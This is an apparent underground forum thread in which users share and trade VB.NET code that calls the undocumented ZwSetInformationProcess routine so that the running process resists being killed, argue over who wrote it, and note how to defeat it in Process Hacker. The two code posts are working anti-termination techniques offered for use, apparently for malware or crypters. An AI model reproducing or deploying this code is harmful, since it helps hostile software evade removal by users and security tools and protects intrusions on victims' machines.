[Only3]

pm is worse then selling if u want to share post it else keep it private

[Cookie.Monster]

Pmed you mate, could be nice to try out. :)

[Only3]

False claims aside, you have no say in who you give this to since it isn't yours.

Code

Imports System.Runtime.InteropServices

Public Class ProtectExecutable
    Private Delegate Function VarPtrCallbackDelegate(ByVal address As Integer, ByVal unused1 As Integer, ByVal unused2 As Integer, ByVal unused3 As Integer) As Integer
    Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal wndProc As VarPtrCallbackDelegate, ByRef var As Short, _
      ByVal unused1 As Integer, ByVal unused2 As Integer, _
      ByVal unused3 As Integer) As Integer
    Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal wndProc As VarPtrCallbackDelegate, ByRef var As Integer, _
      ByVal unused1 As Integer, ByVal unused2 As Integer, _
      ByVal unused3 As Integer) As Integer
    Private Shared Function VarPtrCallback(ByVal address As Integer, ByVal unused1 As Integer, ByVal unused2 As Integer, ByVal unused3 As Integer) As Integer
      Return address
    End Function
    Private Shared Function VarPtr(ByRef var As Short) As Integer
      Return CallWindowProc(AddressOf VarPtrCallback, var, 0, 0, 0)
    End Function
    Private Shared Function VarPtr(ByRef var As Integer) As Integer
      Return CallWindowProc(AddressOf VarPtrCallback, var, 0, 0, 0)
    End Function

    <DllImport("Kernel32.dll")>
    Private Shared Function GetCurrentProcess() As IntPtr
    End Function

    <DllImport("ntdll.dll")>
    Private Shared Function ZwSetInformationProcess(ByVal _1 As IntPtr, ByVal _2 As IntPtr, ByVal _3 As IntPtr, ByVal _4 As IntPtr) As IntPtr
    End Function

    Public Shared Sub Main()
      ZwSetInformationProcess(GetCurrentProcess(), &H21&, VarPtr(&H8000F129), &H4&)
    End Sub
End Class

🙂 this is based on vb6 code which u can find on net

[Only3]

That's what I was thinking. It's the same one OP tried to sell for $10 in a previous thread.

😁 well if its work i can agree with him good conversion 😏

[Only3]

Really good conversion... Just not by him 😊

😁 https://fuckav.ru/showthread.php?t=18410 its early to decide that he copy it let wait for him

[๖ۣۜMrRoot]

and what if you do Kill process tree?

[Only3]

for all that say it can be kill i try it by accident and needed to restart as i cant kill it even with process explorer

[He B TeMy]

for all that say it can be kill i try it by accident and needed to restart as i cant kill it even with process explorer

I bet i can kill it with process explorer, just like i can kill eset with Process Hacker.

Edit: I got the code, i just never tested it..

[Malware]

In process hacker, go to properties of the process and kill all of the threads

[Malware]

Code

Public Class ProtectProcessNew
    Private Delegate Function VarPtrCallbackDelegate(ByVal address As Integer, ByVal unused1 As Integer, ByVal unused2 As Integer, ByVal unused3 As Integer) As Integer
    <DllImport("ntdll.dll")>
    Private Shared Function ZwSetInformationProcess(ByVal _1 As IntPtr, ByVal _2 As IntPtr, ByVal _3 As IntPtr, ByVal _4 As IntPtr) As IntPtr
    End Function
    <DllImport("user32.dll")>
    Private Shared Function CallWindowProcA(ByVal wndProc As VarPtrCallbackDelegate, ByRef var As Integer, ByVal unused1 As Integer, ByVal unused2 As Integer, ByVal unused3 As Integer) As Integer
    End Function
    Private Shared Function VarPtrCallback(ByVal address As Integer, ByVal unused1 As Integer, ByVal unused2 As Integer, ByVal unused3 As Integer) As Integer
      Return address
    End Function
    Public Shared Sub Protect()
      ZwSetInformationProcess(System.Diagnostics.Process.GetCurrentProcess().Handle, &H21&, CallWindowProcA(AddressOf VarPtrCallback, &H8000F129, 0, 0, 0), &H4&)
    End Sub
End Class

[ali_m0000]

May I have the code please ?
I will pm u

---

Ooops I just discovered that I can't pm you
will you please pm me ?